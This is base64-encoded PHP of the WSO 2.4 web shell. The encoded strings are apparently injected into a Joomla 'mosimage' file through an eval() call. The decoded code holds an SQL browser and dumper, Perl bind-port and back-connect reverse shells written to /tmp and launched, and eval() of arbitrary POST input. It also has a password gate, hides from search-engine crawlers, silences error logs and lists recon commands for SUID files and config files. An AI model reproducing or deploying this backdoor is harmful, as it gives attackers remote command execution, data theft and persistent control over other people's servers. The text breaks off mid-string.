OiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOw0KCQkJfQ0KCQkJJGRiLT5saXN0RGJzKCk7DQoJCQllY2hvICI8c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOw0KCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsNCgkJCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsNCgkJCQllY2hvICc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigkdmFsdWU9PSRfUE9TVFsnc3FsX2Jhc2UnXT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbHVlLic8L29wdGlvbj4nOw0KCQkJfQ0KCQkJZWNobyAnPC9zZWxlY3Q+JzsNCgkJfQ0KCQllbHNlIGVjaG8gJHRtcDsNCgl9ZWxzZQ0KCQllY2hvICR0bXA7DQoJZWNobyAiPC90ZD4NCgkJCQk8dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Picgb25jbGljaz0nZnMoZC5zZik7Jz48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXNxbF9jb3VudCB2YWx1ZT0nb24nIiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJzonIGNoZWNrZWQnKSAuICI+IGNvdW50IHRoZSBudW1iZXIgb2Ygcm93czwvdGQ+DQoJCQk8L3RyPg0KCQk8L3RhYmxlPg0KCQk8c2NyaXB0Pg0KICAgICAgICAgICAgc19kYj0nIi5AYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9iYXNlJ10pLiInOw0KICAgICAgICAgICAgZnVuY3Rpb24gZnMoZikgew0KICAgICAgICAgICAgICAgIGlmKGYuc3FsX2Jhc2UudmFsdWUhPXNfZGIpIHsgZi5vbnN1Ym1pdCA9IGZ1bmN0aW9uKCkge307DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDEpIGYucDEudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDIpIGYucDIudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDMpIGYucDMudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KCQkJZnVuY3Rpb24gc3QodCxsKSB7DQoJCQkJZC5zZi5wMS52YWx1ZSA9ICdzZWxlY3QnOw0KCQkJCWQuc2YucDIudmFsdWUgPSB0Ow0KICAgICAgICAgICAgICAgIGlmKGwgJiYgZC5zZi5wMykgZC5zZi5wMy52YWx1ZSA9IGw7DQoJCQkJZC5zZi5zdWJtaXQoKTsNCgkJCX0NCgkJCWZ1bmN0aW9uIGlzKCkgew0KCQkJCWZvcihpPTA7aTxkLnNmLmVsZW1lbnRzWyd0YmxbXSddLmxlbmd0aDsrK2kpDQoJCQkJCWQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZCA9ICFkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQ7DQoJCQl9DQoJCTwvc2NyaXB0PiI7DQoJaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspew0KCQllY2hvICI8YnIvPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iOw0KCQkJaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpew0KCQkJCSRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCgkJCQllY2hvICI8dHI+PHRkIHdpZHRoPTEgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz48c3Bhbj5UYWJsZXM6PC9zcGFuPjxicj48YnI+IjsNCgkJCQkkdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsNCgkJCQl3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goJHRibHNfcmVzKSkgew0KCQkJCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJy4kdmFsdWUuJycpKTsNCgkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOw0KCQkJCQllY2hvICI8bm9icj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIi4kdmFsdWUuIic+Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9XCJzdCgnIi4kdmFsdWUuIicsMSlcIj4iLiR2YWx1ZS4iPC9hPiIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/JyZuYnNwOyc6IiA8c21hbGw+KHskblsnbiddfSk8L3NtYWxsPiIpIC4gIjwvbm9icj48YnI+IjsNCgkJCQl9DQoJCQkJZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PGJyPkZpbGUgcGF0aDo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSB2YWx1ZT0nZHVtcC5zcWwnPjwvdGQ+PHRkIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+IjsNCgkJCQlpZihAJF9QT1NUWydwMSddID09ICdzZWxlY3QnKSB7DQoJCQkJCSRfUE9TVFsncDEnXSA9ICdxdWVyeSc7DQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9ICRfUE9TVFsncDMnXT8kX1BPU1RbJ3AzJ106MTsNCgkJCQkJJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnIC4gJF9QT1NUWydwMiddKTsNCgkJCQkJJG51bSA9ICRkYi0+ZmV0Y2goKTsNCgkJCQkJJHBhZ2VzID0gY2VpbCgkbnVtWyduJ10gLyAzMCk7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzY3JpcHQ+ZC5zZi5vbnN1Ym1pdD1mdW5jdGlvbigpe3N0KFwiIiAuICRfUE9TVFsncDInXSAuICJcIiwgZC5zZi5wMy52YWx1ZSl9PC9zY3JpcHQ+PHNwYW4+Ii4kX1BPU1RbJ3AyJ10uIjwvc3Bhbj4gKHskbnVtWyduJ119IHJlY29yZHMpIFBhZ2UgIyA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J3AzJyB2YWx1ZT0iIC4gKChpbnQpJF9QT1NUWydwMyddKSAuICI+IjsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiIG9mICRwYWdlcyI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA+IDEpDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXS0xKSAuICIpJz4mbHQ7IFByZXY8L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWydwMyddIDwgJHBhZ2VzKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10rMSkgLiAiKSc+TmV4dCAmZ3Q7PC9hPiI7DQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXS0tOw0KCQkJCQlpZigkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJykNCgkJCQkJCSRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCk7DQoJCQkJCWVsc2UNCgkJCQkJCSRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOw0KCQkJCQllY2hvICI8YnI+PGJyPiI7DQoJCQkJfQ0KCQkJCWlmKChAJF9QT1NUWydwMSddID09ICdxdWVyeScpICYmICFlbXB0eSgkX1BPU1RbJ3AyJ10pKSB7DQoJCQkJCSRkYi0+cXVlcnkoQCRfUE9TVFsncDInXSk7DQoJCQkJCWlmKCRkYi0+cmVzICE9PSBmYWxzZSkgew0KCQkJCQkJJHRpdGxlID0gZmFsc2U7DQoJCQkJCQllY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIgY2xhc3M9bWFpbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMjkyOTI5Ij4nOw0KCQkJCQkJJGxpbmUgPSAxOw0KCQkJCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpCXsNCgkJCQkJCQlpZighJHRpdGxlKQl7DQoJCQkJCQkJCWVjaG8gJzx0cj4nOw0KCQkJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKQ0KCQkJCQkJCQkJZWNobyAnPHRoPicuJGtleS4nPC90aD4nOw0KCQkJCQkJCQlyZXNldCgkaXRlbSk7DQoJCQkJCQkJCSR0aXRsZT10cnVlOw0KCQkJCQkJCQllY2hvICc8L3RyPjx0cj4nOw0KCQkJCQkJCQkkbGluZSA9IDI7DQoJCQkJCQkJfQ0KCQkJCQkJCWVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsNCgkJCQkJCQkkbGluZSA9ICRsaW5lPT0xPzI6MTsNCgkJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKSB7DQoJCQkJCQkJCWlmKCR2YWx1ZSA9PSBudWxsKQ0KCQkJCQkJCQkJZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOw0KCQkJCQkJCQllbHNlDQoJCQkJCQkJCQllY2hvICc8dGQ+Jy5ubDJicihodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSkpLic8L3RkPic7DQoJCQkJCQkJfQ0KCQkJCQkJCWVjaG8gJzwvdHI+JzsNCgkJCQkJCX0NCgkJCQkJCWVjaG8gJzwvdGFibGU+JzsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWVjaG8gJzxkaXY+PGI+RXJyb3I6PC9iPiAnLmh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKS4nPC9kaXY+JzsNCgkJCQkJfQ0KCQkJCX0NCgkJCQllY2hvICI8YnI+PC9mb3JtPjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwicXVlcnlcIjtkLnNmLnAyLnZhbHVlPXRoaXMucXVlcnkudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHRleHRhcmVhIG5hbWU9J3F1ZXJ5JyBzdHlsZT0nd2lkdGg6MTAwJTtoZWlnaHQ6MTAwcHgnPiI7DQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDEnXSAhPSAnbG9hZGZpbGUnKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSk7DQogICAgICAgICAgICAgICAgZWNobyAiPC90ZXh0YXJlYT48YnIvPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRXhlY3V0ZSc+IjsNCgkJCQllY2hvICI8L3RkPjwvdHI+IjsNCgkJCX0NCgkJCWVjaG8gIjwvdGFibGU+PC9mb3JtPjxici8+IjsNCiAgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKSB7DQogICAgICAgICAgICAgICAgJGRiLT5xdWVyeSgiU0VMRUNUIDEgRlJPTSBteXNxbC51c2VyIFdIRVJFIGNvbmNhdChgdXNlcmAsICdAJywgYGhvc3RgKSA9IFVTRVIoKSBBTkQgYEZpbGVfcHJpdmAgPSAneSciKTsNCiAgICAgICAgICAgICAgICBpZigkZGItPmZldGNoKCkpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwibG9hZGZpbGVcIjtkb2N1bWVudC5zZi5wMi52YWx1ZT10aGlzLmYudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHNwYW4+TG9hZCBmaWxlPC9zcGFuPiA8aW5wdXQgIGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+IjsNCiAgICAgICAgICAgIH0NCgkJCWlmKEAkX1BPU1RbJ3AxJ10gPT0gJ2xvYWRmaWxlJykgew0KCQkJCSRmaWxlID0gJGRiLT5sb2FkRmlsZSgkX1BPU1RbJ3AyJ10pOw0KCQkJCWVjaG8gJzxwcmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsNCgkJCX0NCgl9IGVsc2Ugew0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKTsNCiAgICB9DQoJZWNobyAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvbk5ldHdvcmsoKSB7DQoJd3NvSGVhZGVyKCk7DQoJJGJhY2tfY29ubmVjdF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdsaFpHUnlQV2x1WlhSZllYUnZiaWdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ25MMkpwYmk5emFDQXRhU2NwT3cwS1kyeHZjMlVvVTFSRVNVNHBPdzBLWTJ4dmMyVW9VMVJFVDFWVUtUc05DbU5zYjNObEtGTlVSRVZTVWlrNyI7DQoJJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOw0KCWVjaG8gIjxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdicHAnLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPg0KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoIFtwZXJsXTwvc3Bhbj48YnIvPg0KCVBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMzEzMzcnPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz4NCgk8L2Zvcm0+DQoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdiY3AnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPg0KCTxzcGFuPkJhY2stY29ubmVjdCAgW3BlcmxdPC9zcGFuPjxici8+DQoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+DQoJPC9mb3JtPjxicj4iOw0KCWlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsNCgkJZnVuY3Rpb24gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsNCgkJCWlmKCR3KXsNCgkJCQlAZndyaXRlKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSk7DQoJCQkJQGZjbG9zZSgkdyk7DQoJCQl9DQoJCX0NCgkJaWYoJF9QT1NUWydwMSddID09ICdicHAnKSB7DQoJCQljZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsNCgkJCSRvdXQgPSB3c29FeCgicGVybCAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7DQoJCQllY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLndzb0V4KCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7DQogICAgICAgICAgICB1bmxpbmsoIi90bXAvYnAucGwiKTsNCgkJfQ0KCQlpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjcCcpIHsNCgkJCWNmKCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOw0KCQkJJG91dCA9IHdzb0V4KCJwZXJsIC90bXAvYmMucGwgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iIDE+L2Rldi9udWxsIDI+JjEgJiIpOw0KCQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi53c29FeCgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOw0KICAgICAgICAgICAgdW5saW5rKCIvdG1wL2JjLnBsIik7DQoJCX0NCgl9DQoJZWNobyAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvblJDKCkgew0KCWlmKCFAJF9QT1NUWydwMSddKSB7DQoJCSRhID0gYXJyYXkoDQoJCQkidW5hbWUiID0+IHBocF91bmFtZSgpLA0KCQkJInBocF92ZXJzaW9uIiA9PiBwaHB2ZXJzaW9uKCksDQoJCQkid3NvX3ZlcnNpb24iID0+IFdTT19WRVJTSU9OLA0KCQkJInNhZmVtb2RlIiA9PiBAaW5pX2dldCgnc2FmZV9tb2RlJykNCgkJKTsNCgkJZWNobyBzZXJpYWxpemUoJGEpOw0KCX0gZWxzZSB7DQoJCWV2YWwoJF9QT1NUWydwMSddKTsNCgl9DQp9DQppZiggZW1wdHkoJF9QT1NUWydhJ10pICkNCglpZihpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRkZWZhdWx0X2FjdGlvbikpDQoJCSRfUE9TVFsnYSddID0gJGRlZmF1bHRfYWN0aW9uOw0KCWVsc2UNCgkJJF9QT1NUWydhJ10gPSAnU2VjSW5mbyc7DQppZiggIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkgKQ0KCWNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pOw0KZXhpdDs=''));/*59862*/eval($mosimage_category('b'aWYoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIik7DQogICAgaWYocHJlZ19tYXRjaCgnLycgLiBpbXBsb2RlKCd8JywgJHVzZXJBZ2VudHMpIC4gJy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsNCiAgICAgICAgZXhpdDsNCiAgICB9DQp9DQoNCkBzZXNzaW9uX3N0YXJ0KCk7DQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCkBkZWZpbmUoJ1dTT19WRVJTSU9OJywgJzIuNCcpOw0KDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7DQoJZnVuY3Rpb24gV1NPc3RyaXBzbGFzaGVzKCRhcnJheSkgew0KCQlyZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnV1NPc3RyaXBzbGFzaGVzJywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KCX0NCgkkX1BPU1QgPSBXU09zdHJpcHNsYXNoZXMoJF9QT1NUKTsNCn0NCg0KZnVuY3Rpb24gd3NvTG9naW4oKSB7DQoJZGllKCI8cHJlIGFsaWduPWNlbnRlcj48Zm9ybSBtZXRob2Q9cG9zdD5QYXNzd29yZDogPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3ByZT4iKTsNCn0NCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pKQ0KCWlmKCBlbXB0eSgkbW9zaW1hZ2Vfc2Vzc2lvbikgfHwgKCBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJG1vc2ltYWdlX3Nlc3Npb24pICkgKQ0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHJ1ZTsNCgllbHNlDQoJCXdzb0xvZ2luKCk7DQoNCmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIikNCgkkb3MgPSAnd2luJzsNCmVsc2UNCgkkb3MgPSAnbml4JzsNCg0KJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsNCmlmKCEkc2FmZV9tb2RlKQ0KICAgIGVycm9yX3JlcG9ydGluZygwKTsNCg0KJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7DQppZihpc3NldCgkX1BPU1RbJ2MnXSkpDQoJQGNoZGlyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZ2V0Y3dkKCk7DQppZigkb3MgPT0gJ3dpbicpIHsNCgkkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7DQoJJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN3ZCk7DQp9DQppZiggJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nICkNCgkkY3dkIC49ICcvJzsNCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10pKQ0KICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10gPSAoYm9vbCkkR0xPQkFMU1snZGVmYXVsdF91c2VfYWpheCddOw0KCQ0KaWYoJG9zID09ICd3aW4nKQ0KCSRhbGlhc2VzID0gYXJyYXkoDQoJCSJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsDQogICAgCSJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLA0KICAgIAkiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiwNCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLA0KICAgIAkiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwNCiAgICAJIlVzZXIgYWNjb3VudHMiID0+ICJuZXQgdXNlciIsDQogICAgCSJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwNCgkJIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsDQoJCSJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCINCgkpOw0KZWxzZQ0KCSRhbGlhc2VzID0gYXJyYXkoDQogIAkJIkxpc3QgZGlyIiA9PiAibHMgLWxoYSIsDQoJCSJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLA0KICAJCSJzaG93IG9wZW5lZCBwb3J0cyIgPT4gIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iLA0KICAgICAgICAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLA0KCQkiRmluZCIgPT4gIiIsDQogIAkJImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwNCiAgCQkiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsDQogIAkJImZpbmQgYWxsIHNnaWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwNCiAgCQkiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsDQogIAkJImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR